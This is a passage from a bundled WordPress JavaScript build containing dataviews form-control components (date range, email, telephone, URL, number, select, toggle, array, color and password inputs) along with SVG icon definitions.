31122 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31123 external_wp_components_namespaceObject.Button,
31124 {
31125 className: "dataviews-controls__date-preset",
31126 variant: "tertiary",
31127 isPressed: isSelected,
31128 size: "small",
31129 onClick: () => handlePresetClick(preset),
31130 children: preset.label
31131 },
31132 preset.id
31133 );
31134 }),
31135 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31136 external_wp_components_namespaceObject.Button,
31137 {
31138 className: "dataviews-controls__date-preset",
31139 variant: "tertiary",
31140 isPressed: !selectedPresetId,
31141 size: "small",
31142 accessibleWhenDisabled: false,
31143 disabled: !!selectedPresetId,
31144 children: (0,external_wp_i18n_namespaceObject.__)("Custom")
31145 }
31146 )
31147 ] }),
31148 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { spacing: 2, children: [
31149 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31150 external_wp_components_namespaceObject.__experimentalInputControl,
31151 {
31152 __next40pxDefaultSize: true,
31153 ref: fromInputRef,
31154 type: "date",
31155 label: (0,external_wp_i18n_namespaceObject.__)("From"),
31156 hideLabelFromVision: true,
31157 value: value?.[0],
31158 onChange: (newValue) => handleManualDateChange("from", newValue),
31159 required: !!field.isValid?.required
31160 }
31161 ),
31162 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31163 external_wp_components_namespaceObject.__experimentalInputControl,
31164 {
31165 __next40pxDefaultSize: true,
31166 ref: toInputRef,
31167 type: "date",
31168 label: (0,external_wp_i18n_namespaceObject.__)("To"),
31169 hideLabelFromVision: true,
31170 value: value?.[1],
31171 onChange: (newValue) => handleManualDateChange("to", newValue),
31172 required: !!field.isValid?.required
31173 }
31174 )
31175 ] }),
31176 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31177 DateRangeCalendar,
31178 {
31179 style: { width: "100%" },
31180 selected: selectedRange,
31181 onSelect: onSelectCalendarRange,
31182 month: calendarMonth,
31183 onMonthChange: setCalendarMonth,
31184 timeZone: timezone.string || void 0,
31185 weekStartsOn: l10n.startOfWeek
31186 }
31187 )
31188 ] })
31189 }
31190 )
31191 }
31192 );
31193}
31194function DateControl({
31195 data,
31196 field,
31197 onChange,
31198 hideLabelFromVision,
31199 operator,
31200 validity
31201}) {
31202 if (operator === OPERATOR_IN_THE_PAST || operator === OPERATOR_OVER) {
31203 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31204 RelativeDateControl,
31205 {
31206 className: "dataviews-controls__date",
31207 data,
31208 field,
31209 onChange,
31210 hideLabelFromVision,
31211 operator
31212 }
31213 );
31214 }
31215 if (operator === OPERATOR_BETWEEN) {
31216 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31217 CalendarDateRangeControl,
31218 {
31219 data,
31220 field,
31221 onChange,
31222 hideLabelFromVision,
31223 validity
31224 }
31225 );
31226 }
31227 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31228 CalendarDateControl,
31229 {
31230 data,
31231 field,
31232 onChange,
31233 hideLabelFromVision,
31234 validity
31235 }
31236 );
31237}
31238
31239
31240;// ./node_modules/@wordpress/icons/build-module/library/at-symbol.js
31241
31242
31243var at_symbol_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12.5939 21C14.1472 21 16.1269 20.5701 17.0711 20.1975L16.6447 18.879C16.0964 19.051 14.3299 19.6242 12.6548 19.6242C7.4467 19.6242 4.67513 16.8726 4.67513 12C4.67513 7.21338 7.50762 4.34713 12.2893 4.34713C17.132 4.34713 19.4162 7.55732 19.4162 10.7675C19.4162 14.035 19.0508 15.4968 17.4975 15.4968C16.5838 15.4968 16.0964 14.7803 16.0964 13.9777V7.5H14.4822V8.30255H14.3909C14.1777 7.67198 12.9898 7.12739 11.467 7.2707C9.18274 7.5 7.4467 9.27707 7.4467 11.8567C7.4467 14.5796 8.81726 16.672 11.467 16.758C13.203 16.8153 14.1168 16.0127 14.4822 15.1815H14.5736C14.7563 16.414 16.401 16.8439 17.467 16.8439C20.6954 16.8439 21 13.5764 21 10.7962C21 6.86943 18.0761 3 12.3807 3C6.50254 3 3 6.3535 3 11.9427C3 17.7325 6.38071 21 12.5939 21ZM11.7107 15.2962C9.73096 15.2962 9.03046 13.6051 9.03046 11.7707C9.03046 10.1083 10.0355 8.67516 11.7716 8.67516C13.599 8.67516 14.5736 9.36306 14.5736 11.7707C14.5736 14.1497 13.7513 15.2962 11.7107 15.2962Z" }) });
31244
31245
31246;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/utils/validated-input.js
31247
31248
31249
31250
31251
31252const { ValidatedInputControl: validated_input_ValidatedInputControl } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
31253function ValidatedText({
31254 data,
31255 field,
31256 onChange,
31257 hideLabelFromVision,
31258 type,
31259 prefix,
31260 suffix,
31261 validity
31262}) {
31263 const { label, placeholder, description, getValue, setValue, isValid } = field;
31264 const value = getValue({ item: data });
31265 const onChangeControl = (0,external_wp_element_.useCallback)(
31266 (newValue) => onChange(
31267 setValue({
31268 item: data,
31269 value: newValue
31270 })
31271 ),
31272 [data, setValue, onChange]
31273 );
31274 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31275 validated_input_ValidatedInputControl,
31276 {
31277 required: !!isValid?.required,
31278 customValidity: getCustomValidity(isValid, validity),
31279 label,
31280 placeholder,
31281 value: value ?? "",
31282 help: description,
31283 onChange: onChangeControl,
31284 hideLabelFromVision,
31285 type,
31286 prefix,
31287 suffix,
31288 __next40pxDefaultSize: true
31289 }
31290 );
31291}
31292
31293
31294;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/email.js
31295
31296
31297
31298
31299function Email({
31300 data,
31301 field,
31302 onChange,
31303 hideLabelFromVision,
31304 validity
31305}) {
31306 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31307 ValidatedText,
31308 {
31309 ...{
31310 data,
31311 field,
31312 onChange,
31313 hideLabelFromVision,
31314 validity,
31315 type: "email",
31316 prefix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControlPrefixWrapper, { variant: "icon", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon: at_symbol_default }) })
31317 }
31318 }
31319 );
31320}
31321
31322
31323;// ./node_modules/@wordpress/icons/build-module/library/mobile.js
31324
31325
31326var mobile_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M15 4H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H9c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h6c.3 0 .5.2.5.5v12zm-4.5-.5h2V16h-2v1.5z" }) });
31327
31328
31329;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/telephone.js
31330
31331
31332
31333
31334function Telephone({
31335 data,
31336 field,
31337 onChange,
31338 hideLabelFromVision,
31339 validity
31340}) {
31341 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31342 ValidatedText,
31343 {
31344 ...{
31345 data,
31346 field,
31347 onChange,
31348 hideLabelFromVision,
31349 validity,
31350 type: "tel",
31351 prefix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControlPrefixWrapper, { variant: "icon", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon: mobile_default }) })
31352 }
31353 }
31354 );
31355}
31356
31357
31358;// ./node_modules/@wordpress/icons/build-module/library/link.js
31359
31360
31361var link_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M10 17.389H8.444A5.194 5.194 0 1 1 8.444 7H10v1.5H8.444a3.694 3.694 0 0 0 0 7.389H10v1.5ZM14 7h1.556a5.194 5.194 0 0 1 0 10.39H14v-1.5h1.556a3.694 3.694 0 0 0 0-7.39H14V7Zm-4.5 6h5v-1.5h-5V13Z" }) });
31362
31363
31364;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/url.js
31365
31366
31367
31368
31369function Url({
31370 data,
31371 field,
31372 onChange,
31373 hideLabelFromVision,
31374 validity
31375}) {
31376 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31377 ValidatedText,
31378 {
31379 ...{
31380 data,
31381 field,
31382 onChange,
31383 hideLabelFromVision,
31384 validity,
31385 type: "url",
31386 prefix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControlPrefixWrapper, { variant: "icon", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon: link_default }) })
31387 }
31388 }
31389 );
31390}
31391
31392
31393;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/utils/validated-number.js
31394
31395
31396
31397
31398
31399
31400
31401const { ValidatedNumberControl } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
31402function toNumberOrEmpty(value) {
31403 if (value === "" || value === void 0) {
31404 return "";
31405 }
31406 const number = Number(value);
31407 return Number.isFinite(number) ? number : "";
31408}
31409function BetweenControls({
31410 value,
31411 onChange,
31412 hideLabelFromVision,
31413 step
31414}) {
31415 const [min = "", max = ""] = value;
31416 const onChangeMin = (0,external_wp_element_.useCallback)(
31417 (newValue) => onChange([toNumberOrEmpty(newValue), max]),
31418 [onChange, max]
31419 );
31420 const onChangeMax = (0,external_wp_element_.useCallback)(
31421 (newValue) => onChange([min, toNumberOrEmpty(newValue)]),
31422 [onChange, min]
31423 );
31424 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31425 external_wp_components_namespaceObject.BaseControl,
31426 {
31427 __nextHasNoMarginBottom: true,
31428 help: (0,external_wp_i18n_namespaceObject.__)("The max. value must be greater than the min. value."),
31429 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, { direction: "row", gap: 4, children: [
31430 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31431 external_wp_components_namespaceObject.__experimentalNumberControl,
31432 {
31433 label: (0,external_wp_i18n_namespaceObject.__)("Min."),
31434 value: min,
31435 max: max ? Number(max) - step : void 0,
31436 onChange: onChangeMin,
31437 __next40pxDefaultSize: true,
31438 hideLabelFromVision,
31439 step
31440 }
31441 ),
31442 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31443 external_wp_components_namespaceObject.__experimentalNumberControl,
31444 {
31445 label: (0,external_wp_i18n_namespaceObject.__)("Max."),
31446 value: max,
31447 min: min ? Number(min) + step : void 0,
31448 onChange: onChangeMax,
31449 __next40pxDefaultSize: true,
31450 hideLabelFromVision,
31451 step
31452 }
31453 )
31454 ] })
31455 }
31456 );
31457}
31458function ValidatedNumber({
31459 data,
31460 field,
31461 onChange,
31462 hideLabelFromVision,
31463 operator,
31464 decimals,
31465 validity
31466}) {
31467 const step = Math.pow(10, Math.abs(decimals) * -1);
31468 const { label, description, getValue, setValue, isValid } = field;
31469 const value = getValue({ item: data }) ?? "";
31470 const onChangeControl = (0,external_wp_element_.useCallback)(
31471 (newValue) => {
31472 onChange(
31473 setValue({
31474 item: data,
31475 // Do not convert an empty string or undefined to a number,
31476 // otherwise there's a mismatch between the UI control (empty)
31477 // and the data relied by onChange (0).
31478 value: ["", void 0].includes(newValue) ? void 0 : Number(newValue)
31479 })
31480 );
31481 },
31482 [data, onChange, setValue]
31483 );
31484 const onChangeBetweenControls = (0,external_wp_element_.useCallback)(
31485 (newValue) => {
31486 onChange(
31487 setValue({
31488 item: data,
31489 value: newValue
31490 })
31491 );
31492 },
31493 [data, onChange, setValue]
31494 );
31495 if (operator === OPERATOR_BETWEEN) {
31496 let valueBetween = ["", ""];
31497 if (Array.isArray(value) && value.length === 2 && value.every(
31498 (element) => typeof element === "number" || element === ""
31499 )) {
31500 valueBetween = value;
31501 }
31502 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31503 BetweenControls,
31504 {
31505 value: valueBetween,
31506 onChange: onChangeBetweenControls,
31507 hideLabelFromVision,
31508 step
31509 }
31510 );
31511 }
31512 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31513 ValidatedNumberControl,
31514 {
31515 required: !!isValid?.required,
31516 customValidity: getCustomValidity(isValid, validity),
31517 label,
31518 help: description,
31519 value,
31520 onChange: onChangeControl,
31521 __next40pxDefaultSize: true,
31522 hideLabelFromVision,
31523 step
31524 }
31525 );
31526}
31527
31528
31529;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/integer.js
31530
31531
31532function integer_Number(props) {
31533 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ValidatedNumber, { ...props, decimals: 0 });
31534}
31535
31536
31537;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/number.js
31538
31539
31540function number_Number(props) {
31541 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ValidatedNumber, { ...props, decimals: 2 });
31542}
31543
31544
31545;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/radio.js
31546
31547
31548
31549
31550
31551
31552const { ValidatedRadioControl } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
31553function Radio({
31554 data,
31555 field,
31556 onChange,
31557 hideLabelFromVision,
31558 validity
31559}) {
31560 const { label, description, getValue, setValue, isValid } = field;
31561 const { elements, isLoading } = useElements({
31562 elements: field.elements,
31563 getElements: field.getElements
31564 });
31565 const value = getValue({ item: data });
31566 const onChangeControl = (0,external_wp_element_.useCallback)(
31567 (newValue) => onChange(setValue({ item: data, value: newValue })),
31568 [data, onChange, setValue]
31569 );
31570 if (isLoading) {
31571 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {});
31572 }
31573 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31574 ValidatedRadioControl,
31575 {
31576 required: !!field.isValid?.required,
31577 customValidity: getCustomValidity(isValid, validity),
31578 label,
31579 help: description,
31580 onChange: onChangeControl,
31581 options: elements,
31582 selected: value,
31583 hideLabelFromVision
31584 }
31585 );
31586}
31587
31588
31589;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/select.js
31590
31591
31592
31593
31594
31595
31596const { ValidatedSelectControl } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
31597function Select({
31598 data,
31599 field,
31600 onChange,
31601 hideLabelFromVision,
31602 validity
31603}) {
31604 const { type, label, description, getValue, setValue, isValid } = field;
31605 const isMultiple = type === "array";
31606 const value = getValue({ item: data }) ?? (isMultiple ? [] : "");
31607 const onChangeControl = (0,external_wp_element_.useCallback)(
31608 (newValue) => onChange(setValue({ item: data, value: newValue })),
31609 [data, onChange, setValue]
31610 );
31611 const { elements, isLoading } = useElements({
31612 elements: field.elements,
31613 getElements: field.getElements
31614 });
31615 if (isLoading) {
31616 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {});
31617 }
31618 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31619 ValidatedSelectControl,
31620 {
31621 required: !!field.isValid?.required,
31622 customValidity: getCustomValidity(isValid, validity),
31623 label,
31624 value,
31625 help: description,
31626 options: elements,
31627 onChange: onChangeControl,
31628 __next40pxDefaultSize: true,
31629 __nextHasNoMarginBottom: true,
31630 hideLabelFromVision,
31631 multiple: isMultiple
31632 }
31633 );
31634}
31635
31636
31637;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/text.js
31638
31639
31640
31641function Text({
31642 data,
31643 field,
31644 onChange,
31645 hideLabelFromVision,
31646 config,
31647 validity
31648}) {
31649 const { prefix, suffix } = config || {};
31650 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31651 ValidatedText,
31652 {
31653 ...{
31654 data,
31655 field,
31656 onChange,
31657 hideLabelFromVision,
31658 validity,
31659 prefix: prefix ? (0,external_wp_element_.createElement)(prefix) : void 0,
31660 suffix: suffix ? (0,external_wp_element_.createElement)(suffix) : void 0
31661 }
31662 }
31663 );
31664}
31665
31666
31667;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/toggle.js
31668
31669
31670
31671
31672
31673const { ValidatedToggleControl } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
31674function Toggle({
31675 field,
31676 onChange,
31677 data,
31678 hideLabelFromVision,
31679 validity
31680}) {
31681 const { label, description, getValue, setValue, isValid } = field;
31682 const onChangeControl = (0,external_wp_element_.useCallback)(() => {
31683 onChange(
31684 setValue({ item: data, value: !getValue({ item: data }) })
31685 );
31686 }, [onChange, setValue, data, getValue]);
31687 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31688 ValidatedToggleControl,
31689 {
31690 required: !!isValid.required,
31691 customValidity: getCustomValidity(isValid, validity),
31692 hidden: hideLabelFromVision,
31693 __nextHasNoMarginBottom: true,
31694 label,
31695 help: description,
31696 checked: getValue({ item: data }),
31697 onChange: onChangeControl
31698 }
31699 );
31700}
31701
31702
31703;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/textarea.js
31704
31705
31706
31707
31708
31709const { ValidatedTextareaControl } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
31710function Textarea({
31711 data,
31712 field,
31713 onChange,
31714 hideLabelFromVision,
31715 config,
31716 validity
31717}) {
31718 const { rows = 4 } = config || {};
31719 const { label, placeholder, description, setValue, isValid } = field;
31720 const value = field.getValue({ item: data });
31721 const onChangeControl = (0,external_wp_element_.useCallback)(
31722 (newValue) => onChange(setValue({ item: data, value: newValue })),
31723 [data, onChange, setValue]
31724 );
31725 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31726 ValidatedTextareaControl,
31727 {
31728 required: !!isValid?.required,
31729 customValidity: getCustomValidity(isValid, validity),
31730 label,
31731 placeholder,
31732 value: value ?? "",
31733 help: description,
31734 onChange: onChangeControl,
31735 rows,
31736 __next40pxDefaultSize: true,
31737 __nextHasNoMarginBottom: true,
31738 hideLabelFromVision
31739 }
31740 );
31741}
31742
31743
31744;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/toggle-group.js
31745
31746
31747
31748
31749
31750
31751const { ValidatedToggleGroupControl } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
31752function ToggleGroup({
31753 data,
31754 field,
31755 onChange,
31756 hideLabelFromVision,
31757 validity
31758}) {
31759 const { getValue, setValue, isValid } = field;
31760 const value = getValue({ item: data });
31761 const onChangeControl = (0,external_wp_element_.useCallback)(
31762 (newValue) => onChange(setValue({ item: data, value: newValue })),
31763 [data, onChange, setValue]
31764 );
31765 const { elements, isLoading } = useElements({
31766 elements: field.elements,
31767 getElements: field.getElements
31768 });
31769 if (isLoading) {
31770 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {});
31771 }
31772 if (elements.length === 0) {
31773 return null;
31774 }
31775 const selectedOption = elements.find((el) => el.value === value);
31776 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31777 ValidatedToggleGroupControl,
31778 {
31779 required: !!field.isValid?.required,
31780 customValidity: getCustomValidity(isValid, validity),
31781 __next40pxDefaultSize: true,
31782 __nextHasNoMarginBottom: true,
31783 isBlock: true,
31784 label: field.label,
31785 help: selectedOption?.description || field.description,
31786 onChange: onChangeControl,
31787 value,
31788 hideLabelFromVision,
31789 children: elements.map((el) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31790 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
31791 {
31792 label: el.label,
31793 value: el.value
31794 },
31795 el.value
31796 ))
31797 }
31798 );
31799}
31800
31801
31802;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/array.js
31803
31804
31805
31806
31807
31808
31809const { ValidatedFormTokenField } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
31810function ArrayControl({
31811 data,
31812 field,
31813 onChange,
31814 hideLabelFromVision,
31815 validity
31816}) {
31817 const { label, placeholder, getValue, setValue, isValid } = field;
31818 const value = getValue({ item: data });
31819 const { elements, isLoading } = useElements({
31820 elements: field.elements,
31821 getElements: field.getElements
31822 });
31823 const arrayValueAsElements = (0,external_wp_element_.useMemo)(
31824 () => Array.isArray(value) ? value.map((token) => {
31825 const element = elements?.find(
31826 (suggestion) => suggestion.value === token
31827 );
31828 return element || { value: token, label: token };
31829 }) : [],
31830 [value, elements]
31831 );
31832 const onChangeControl = (0,external_wp_element_.useCallback)(
31833 (tokens) => {
31834 const valueTokens = tokens.map((token) => {
31835 if (typeof token === "object" && "value" in token) {
31836 return token.value;
31837 }
31838 return token;
31839 });
31840 onChange(setValue({ item: data, value: valueTokens }));
31841 },
31842 [onChange, setValue, data]
31843 );
31844 if (isLoading) {
31845 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {});
31846 }
31847 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31848 ValidatedFormTokenField,
31849 {
31850 required: !!isValid?.required,
31851 customValidity: getCustomValidity(isValid, validity),
31852 label: hideLabelFromVision ? void 0 : label,
31853 value: arrayValueAsElements,
31854 onChange: onChangeControl,
31855 placeholder,
31856 suggestions: elements?.map((element) => element.value),
31857 __experimentalValidateInput: (token) => {
31858 if (field.isValid?.elements && elements) {
31859 return elements.some(
31860 (element) => element.value === token || element.label === token
31861 );
31862 }
31863 return true;
31864 },
31865 __experimentalExpandOnFocus: elements && elements.length > 0,
31866 __experimentalShowHowTo: !field.isValid?.elements,
31867 displayTransform: (token) => {
31868 if (typeof token === "object" && "label" in token) {
31869 return token.label;
31870 }
31871 if (typeof token === "string" && elements) {
31872 const element = elements.find(
31873 (el) => el.value === token
31874 );
31875 return element?.label || token;
31876 }
31877 return token;
31878 },
31879 __experimentalRenderItem: ({ item }) => {
31880 if (typeof item === "string" && elements) {
31881 const element = elements.find(
31882 (el) => el.value === item
31883 );
31884 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: element?.label || item });
31885 }
31886 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: item });
31887 }
31888 }
31889 );
31890}
31891
31892
31893;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/color.js
31894
31895
31896
31897
31898
31899
31900const { ValidatedInputControl: color_ValidatedInputControl, Picker } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
31901const ColorPicker = ({
31902 color,
31903 onColorChange
31904}) => {
31905 const validColor = color && w(color).isValid() ? color : "#ffffff";
31906 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31907 external_wp_components_namespaceObject.Dropdown,
31908 {
31909 renderToggle: ({ onToggle, isOpen }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControlPrefixWrapper, { variant: "icon", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31910 "button",
31911 {
31912 type: "button",
31913 onClick: onToggle,
31914 style: {
31915 width: "24px",
31916 height: "24px",
31917 borderRadius: "50%",
31918 backgroundColor: validColor,
31919 border: "1px solid #ddd",
31920 cursor: "pointer",
31921 outline: isOpen ? "2px solid #007cba" : "none",
31922 outlineOffset: "2px",
31923 display: "flex",
31924 alignItems: "center",
31925 justifyContent: "center",
31926 padding: 0,
31927 margin: 0
31928 },
31929 "aria-label": "Open color picker"
31930 }
31931 ) }),
31932 renderContent: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { style: { padding: "16px" }, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31933 Picker,
31934 {
31935 color: w(validColor),
31936 onChange: onColorChange,
31937 enableAlpha: true
31938 }
31939 ) })
31940 }
31941 );
31942};
31943function Color({
31944 data,
31945 field,
31946 onChange,
31947 hideLabelFromVision,
31948 validity
31949}) {
31950 const { label, placeholder, description, setValue, isValid } = field;
31951 const value = field.getValue({ item: data }) || "";
31952 const handleColorChange = (0,external_wp_element_.useCallback)(
31953 (colorObject) => {
31954 onChange(setValue({ item: data, value: colorObject.toHex() }));
31955 },
31956 [data, onChange, setValue]
31957 );
31958 const handleInputChange = (0,external_wp_element_.useCallback)(
31959 (newValue) => {
31960 onChange(setValue({ item: data, value: newValue || "" }));
31961 },
31962 [data, onChange, setValue]
31963 );
31964 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31965 color_ValidatedInputControl,
31966 {
31967 required: !!field.isValid?.required,
31968 customValidity: getCustomValidity(isValid, validity),
31969 label,
31970 placeholder,
31971 value,
31972 help: description,
31973 onChange: handleInputChange,
31974 hideLabelFromVision,
31975 type: "text",
31976 prefix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31977 ColorPicker,
31978 {
31979 color: value,
31980 onColorChange: handleColorChange
31981 }
31982 )
31983 }
31984 );
31985}
31986
31987
31988;// ./node_modules/@wordpress/icons/build-module/library/unseen.js
31989
31990
31991var unseen_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20.7 12.7s0-.1-.1-.2c0-.2-.2-.4-.4-.6-.3-.5-.9-1.2-1.6-1.8-.7-.6-1.5-1.3-2.6-1.8l-.6 1.4c.9.4 1.6 1 2.1 1.5.6.6 1.1 1.2 1.4 1.6.1.2.3.4.3.5v.1l.7-.3.7-.3Zm-5.2-9.3-1.8 4c-.5-.1-1.1-.2-1.7-.2-3 0-5.2 1.4-6.6 2.7-.7.7-1.2 1.3-1.6 1.8-.2.3-.3.5-.4.6 0 0 0 .1-.1.2s0 0 .7.3l.7.3V13c0-.1.2-.3.3-.5.3-.4.7-1 1.4-1.6 1.2-1.2 3-2.3 5.5-2.3H13v.3c-.4 0-.8-.1-1.1-.1-1.9 0-3.5 1.6-3.5 3.5s.6 2.3 1.6 2.9l-2 4.4.9.4 7.6-16.2-.9-.4Zm-3 12.6c1.7-.2 3-1.7 3-3.5s-.2-1.4-.6-1.9L12.4 16Z" }) });
31992
31993
31994;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/password.js
31995
31996
31997
31998
31999
32000
32001function Password({
32002 data,
32003 field,
32004 onChange,
32005 hideLabelFromVision,
32006 validity
32007}) {
32008 const [isVisible, setIsVisible] = (0,external_wp_element_.useState)(false);
32009 const toggleVisibility = (0,external_wp_element_.useCallback)(() => {
32010 setIsVisible((prev) => !prev);
32011 }, []);
32012 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32013 ValidatedText,
32014 {
32015 ...{
32016 data,
32017 field,
32018 onChange,
32019 hideLabelFromVision,
32020 validity,
32021 type: isVisible ? "text" : "password",
32022 suffix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32023 external_wp_components_namespaceObject.Button,
32024 {
32025 icon: isVisible ? unseen_default : seen_default,
32026 onClick: toggleVisibility,
32027 size: "small",
32028 variant: "tertiary",
32029 "aria-label": isVisible ? (0,external_wp_i18n_namespaceObject.__)("Hide password") : (0,external_wp_i18n_namespaceObject.__)("Show password")
32030 }
32031 )
32032 }
32033 }
32034 );
32035}
32036
32037
32038;// ./node_modules/@wordpress/dataviews/build-module/utils/has-elements.js
32039function hasElements(field) {
32040 return Array.isArray(field.elements) && field.elements.length > 0 || typeof field.getElements === "function";
32041}
32042
32043
32044;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/index.js
32045
32046
32047
32048
32049
32050
32051
32052
32053
32054
32055
32056
32057
32058
32059
32060
32061
32062
32063
32064const FORM_CONTROLS = {
32065 array: ArrayControl,
32066 checkbox: Checkbox,
32067 color: Color,
32068 datetime: DateTime,
32069 date: DateControl,
32070 email: Email,
32071 telephone: Telephone,
32072 url: Url,
32073 integer: integer_Number,
32074 number: number_Number,
